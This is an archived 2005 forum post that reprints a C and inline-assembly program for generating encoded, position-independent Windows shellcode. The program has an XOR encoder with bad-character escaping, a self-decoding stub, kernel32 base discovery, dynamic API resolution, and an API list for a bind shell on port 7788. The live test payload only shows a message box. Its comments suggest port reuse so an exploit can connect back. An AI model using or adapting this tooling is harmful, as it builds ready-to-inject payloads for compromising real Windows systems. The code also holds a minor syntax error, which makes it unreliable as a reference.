邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2005-1-23 17:10

[转载]使用C语言编写提取通用shellcode的程序

文章修改:Hume/冷雨飘心
文章注释:我非我[F.S.T]
信息来源:黑客基地

[code]/*
说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode
    用vc编译时请使用Release格式并取消优化设置,否则不能正常运行
*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define  DEBUG 1  //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode

//
//函数原型
//
void    DecryptSc();  //shellcode解码函数,使用的是xor法加微调法
void    ShellCodes();  //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀
void    PrintSc(char *lpBuff, int buffsize);  //PrintSc函数用标准c格式打印

//
//用到的部分定义
//
#define  BEGINSTRLEN   0x08   //开始字符串长度
#define  ENDSTRLEN    0x08   //结束标记字符的长度
#define  nop_CODE     0x90   //填充字符,用于不确定shellcode入口用
#define  nop_LEN      0x0    //ShellCode起始的填充长度,真正shellcode的入口
#define  BUFFSIZE     0x20000 //输出缓冲区大小

#define  sc_PORT      7788   //绑定端口号 0x1e6c
#define  sc_BUFFSIZE   0x2000  //ShellCode缓冲区大小

#define  Enc_key      0x7A   //编码密钥

#define  MAX_Enc_Len   0x400  //加密代码的最大长度 1024足够?
#define  MAX_Sc_Len    0x2000  //hellCode的最大长度 8192足够?
#define  MAX_api_strlen 0x400  //APIstr字符串的长度
#define  API_endstr    "strend"//API结尾标记字符串   
#define  API_endstrlen  0x06   //标记字符串长度
//定义函数开始字符,定位用
#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
             __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{     //Kernel32中的函数名定义,用于编写自定义的shellcode。下同
        _CreatePipe,
        _CreateProcessA,
        _CloseHandle,
        _PeekNamedPipe,
        _ReadFile,
        _WriteFile,
        _ExitProcess,

        //WS2_32
        _WSAStartup,
_WSASocket
_socket,
        _bind,
        _listen,
        _accept,
        _send,
        _recv,
        _ioctlsocket,
        _closesocket,

        //本机测试User32
        _MessageBeep,
        _MessageBoxA,
        API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
  //shellcode中要用到的字符串
  static char ApiStr[]="\x1e\x6c"  //端口地址7788

        //Kernel32中查找的API函数名称,用来查找函数地址,下同
        "CreatePipe""\x0"
        "CreateProcessA""\x0"
        "CloseHandle""\x0"
        "PeekNamedPipe""\x0"
        "ReadFile""\x0"
        "WriteFile""\x0"
        "ExitProcess""\x0"

        //其它API中用到的API
        "wsock32.dll""\x0"
        "socket""\x0"
        "bind""\x0"
        "listen""\x0"
        "accept""\x0"
        "send""\x0"
        "recv""\x0"
        "ioctlsocket""\x0"
        "closesocket""\x0"
        //本机测试
        "user32.dll""\x0"
        "MessageBeep""\x0"
        "MessageBoxA""\x0"

        "\x0\x0\x0\x0\x0"
        "strend";

  char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串
  char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串

  char  buff[BUFFSIZE];      //缓冲区
  char  sc_buff[sc_BUFFSIZE];  //ShellCodes缓冲
  char  *pDcrypt_addr,
      *pSc_addr;

  int  buff_len;          //缓冲长度
  int  EncCode_len;        //加密编码代码长度
  int  Sc_len;            //原始ShellCode的长度

  int     i,k;
  unsigned  char ch;

  //
  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
  //
  pDcrypt_addr=(char *)DecryptSc;

  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

  ch=*pDcrypt_addr;
  if (ch==0xe9)
  {
    pDcrypt_addr++;
    i=*(int *)pDcrypt_addr;
    pDcrypt_addr+=(i+4);    //此时指向DecryptSc函数的实际地址
  }
  //找到解码代码的开始部分
  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

  if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);  //如找到定位实际代码的开始
  else
  {
    //显示错误信息
    k=0;
    printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
    return 0;
  }

  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;

  if (k<MAX_Enc_Len) EncCode_len=k;
  else
  {
    k=0;
    printf("\nNo End str defined in Decrypt function!Please Check....\n");
    return 0;
  }

  memset(buff,nop_CODE,BUFFSIZE);                //缓冲区填充
  memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);      //把DecryptSc代码复制进buff

  //
  //处理ShellCode代码,如果需要定位到代码的开始
  //
  pSc_addr=(char *)ShellCodes;    //定位shellcode的地址

  //调试状态下的函数地址处理,便于调试
  ch=*pSc_addr;
  if (ch==0xe9)
  {
    pSc_addr++;
    i=*(int *)pSc_addr;
    pSc_addr+=(i+4);    //此时指向ShellCodes函数的实际地址
  }

  //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
  /*
  for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
  if (k<MAX_Enc_Len) pSc_addr+=(k+8);  //如找到定位实际代码的开始
  */

  //找到shellcode的结尾及长度
  for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
  if (k<MAX_Sc_Len) Sc_len=k;
  else
  {
    k=0;
    printf("\nNo End str defined in ShellCodes function!Please Check....\n");
    return 0;
  }


  //把shellcode代码复制进sc_buff
  memcpy(sc_buff,pSc_addr,Sc_len);

  //把字符串拷贝在shellcode的结尾
  for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;
  if(i>=MAX_api_strlen)
  {
    printf("\nNo End str defined in API strings!Please Check....\n");
    return 0;
  }
  memcpy(sc_buff+k,ApiStr,i);

  Sc_len+=i;      //增加shellcode的长度

  //
  //对shellcode进行编码,算法简单,可根据需要改变
  //
  k=EncCode_len+nop_LEN;   //定位缓冲区应存放ShellCode地址的开始

  for(i=0;i<Sc_len;++i){

    ch=sc_buff[i]^Enc_key;
    //对一些可能造成shellcode失效的字符进行替换,即微调法
    if(ch<=0x1f||ch==&#39; &#39;||ch==&#39;.&#39;||ch==&#39;/&#39;||ch==&#39;\\&#39;||ch==&#39;0&#39;||ch==&#39;?&#39;||ch==&#39;%&#39;||ch==&#39;+&#39;)
    {
      buff[k]=&#39;0&#39;;
      ++k;
      ch+=0x31;
    }
    //把编码过的shellcode放在DecryptSc代码后面
    buff[k]=ch;
    ++k;
  }

  //shellcode的总长度
  buff_len=k;

  //打印出shellcode
  PrintSc(buff,buff_len);
  //buff[buff_len]=0;
  //printf("%s",buff);

#ifdef DEBUG
  _asm{
    lea eax,buff
    jmp eax
    ret
  }
#endif

   return  0;
}

//解码shellcode的代码
void  DecryptSc()
{
     __asm{

/////////////////////////
//定义开始标志
/////////////////////////
       PROC_BEGIN   //C macro to begin proc

       jmp  next
getEncCodeAddr:
       pop  edi
       push  edi
       pop  esi
       xor  ecx,ecx
Decrypt_lop:
       lodsb
       cmp  al,cl
       jz  shell
       cmp  al,0x30  //判断是否为特殊字符
       jz  special_char_clean  //是则跳到special_char_clean
store:   
       xor  al,Enc_key
       stosb
       jmp  Decrypt_lop
special_char_clean:  //进行微调替换
       lodsb
       sub al,0x31
       jmp store
next:   
       call  getEncCodeAddr
       //其余真正加密的shellcode代码会连接在此处
shell:   

/////////////////////////
//定义结束标志
/////////////////////////
       PROC_END    //C macro to end proc

       }
}      

//
//shellcode代码
//
void ShellCodes()
{
   //API低址数组   
   FARPROC    API[API_num];


   //自己获取的API地址
   FARPROC    GetProcAddr;
   FARPROC   LoadLib;

   HANDLE    hKrnl32;
   HANDLE    libhandle;

   char      *ApiStr_addr,*p;
   
   int      k;
   u_short    shellcodeport;

   ////////////测试用变量
   char      *testAddr;
   //////////////////////

//这里是网络函数的变量定义,实际编写shellcode时可以使用。
/*
   STARTUPINFO siinfo;
WSADATA    ws;
   SOCKET    listenFD,clientFD;
   struct    sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(sc_PORT);
server.sin_addr.s_addr=ADDR_ANY;
   int      iAddrSize = sizeof(server);
   int      lBytesRead;
   PROCESS_INFORMATION ProcessInformation;
   HANDLE    hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
   SECURITY_ATTRIBUTES sa;
*/



_asm {
      jmp   locate_addr0
getApiStr_addr:
      pop   ApiStr_addr

      //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
      //以后就可以方便地获取任何API的地址了

      //保护寄存器
      pushad

   xor    esi,esi
      lods   dword ptr fs:[esi]
      
Search_Krnl32_lop:    //搜索kernel32基址
      inc    eax
      je    Krnl32_Base_Ok
      dec    eax
      xchg   esi,eax
      LODSD  
      jmp    Search_Krnl32_lop
Krnl32_Base_Ok:

      LODSD            
                      ;compare if PE_hdr
      xchg   esi,eax
   find_pe_header:
      dec    esi
      xor    si,si        ;kernel32 is 64kb align
      mov    eax,[esi]
      add    ax,-&#39;ZM&#39;      ;     
      jne    find_pe_header
      mov    edi,[esi+3ch]  ;.e_lfanew      
      mov    eax,[esi+edi]
      add    eax,-&#39;EP&#39;     ;anti heuristic change this if you are using MASM etc.   
      jne    find_pe_header  
      
      push    esi
                      ;esi=VA Kernel32.BASE
                      ;edi=RVA K32.pehdr      
      mov    ebx,esi
      mov    edi,[ebx+edi+78h]  ;peh.DataDirectory
      
      push   edi
      push   esi

      mov    eax,[ebx+edi+20h]  ;peexc.AddressOfNames            
      mov    edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals   
      call   __getProcAddr
      _emit 0x47
      _emit 0x65
      _emit 0x74
      _emit 0x50
      _emit 0x72
      _emit 0x6F
      _emit 0x63
      _emit 0x41
      _emit 0x64
      _emit 0x64
      _emit 0x72
      _emit 0x65
      _emit 0x73
      _emit 0x73
      _emit 0x0
      //db    "GetProcAddress",0
__getProcAddr:
      pop    edi
      mov    ecx,15      
      sub    eax,4
next_:      
      add    eax,4
      add    edi,ecx
      sub    edi,15
      mov    esi,[ebx+eax]
      add    esi,ebx
      mov    ecx,15
      repz   cmpsb
      jnz    next_

      pop    esi
      pop    edi

      sub    eax,[ebx+edi+20h]    ;peexc.AddressOfNames
      shr    eax,1
      add    edx,ebx
      movzx  eax,word ptr [edx+eax]      
      add    esi,[ebx+edi+1ch]     ;peexc.AddressOfFunctions
      add    ebx,[esi+eax*4]      ;ebx=Kernel32.GetProcAddress.addr
                           ;用GetProcAddress和hModule来得到其他函数的地址
      pop    esi              ;esi=kernel32 Base

      mov    [hKrnl32],esi        //保存
      mov    [GetProcAddr],ebx     //保存

      call   _getLoadLib
      _emit 0x4C
      _emit 0x6F
      _emit 0x61
      _emit 0x64
      _emit 0x4C
      _emit 0x69
      _emit 0x62
      _emit 0x72
      _emit 0x61
      _emit 0x72
      _emit 0x79
      _emit 0x41
      _emit 0x0
      //db    "LoadLibraryA",0
      
_getLoadLib:
      push   esi
      call   ebx
      mov    [LoadLib],eax

      //恢复寄存器,避免更多问题
      popad
   }

  //取出定义的端口地址
  shellcodeport=*(u_short *)ApiStr_addr;
  ApiStr_addr+=2;
  
  //////////////////////////测试用地址
   testAddr=ApiStr_addr;
  ////////////////////////////////////

  //利用GetProcAddress来获得shellcode中所用到的API地址

  libhandle=hKrnl32;
  p=ApiStr_addr;

  k=0;
  ///*
  while ( *((unsigned int *)p) != 0)
  {
     ApiStr_addr=p;
     while(*p) p++;  //前进到下一个字符串

     if (*( (unsigned int *)(p-4))==&#39;lld.&#39;)
     {
        libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL
     }
     else
     {
        API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
        k++;
     }
     
     ApiStr_addr=++p; //更新指针前进一个字符位置
     
  }
  
  //*/

///////////////////////////////////////////////////////////////////////////
//      下面就可以使用C语言来编写真正实现功能的shellcode了        //
///////////////////////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求,只是弹出一个对话框
//这里的函数调用是通过 API[enum](argv); 调用的。这里的enum是指开头定义的枚举
//你可以自己替换以下的代码。推荐使用端口复用然后让你的exp主动连接。
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
//                  shellcode功能部分结束                //
///////////////////////////////////////////////////////////////////////////

//死循环
die:  
   goto die;
__asm
   {
locate_addr0:  
        call getApiStr_addr    //5 bytes
//真正的字符串数据要连接在此处
   



/////////////////////////
//定义结束标志
/////////////////////////
       PROC_END    //C macro to end proc
     
    }
}

//
//显示打印生成的shellcode的标准C格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
   int i,j;
   char *p;
   char msg[4];
   for(i=0;i<buffsize;i++)
   {
      if((i%16)==0)
        if(i!=0)
           printf("\"\n\"");
        else
           printf("\"");
      sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
      for( p = msg, j=0; j < 4; p++, j++ )
      {
        if(isupper(*p))
           printf("%c", _tolower(*p));
        else
           printf("%c", p[0]);
      }
   }
   printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}[/code]

页: [1]
© 1999-2008 EvilOctal Security Team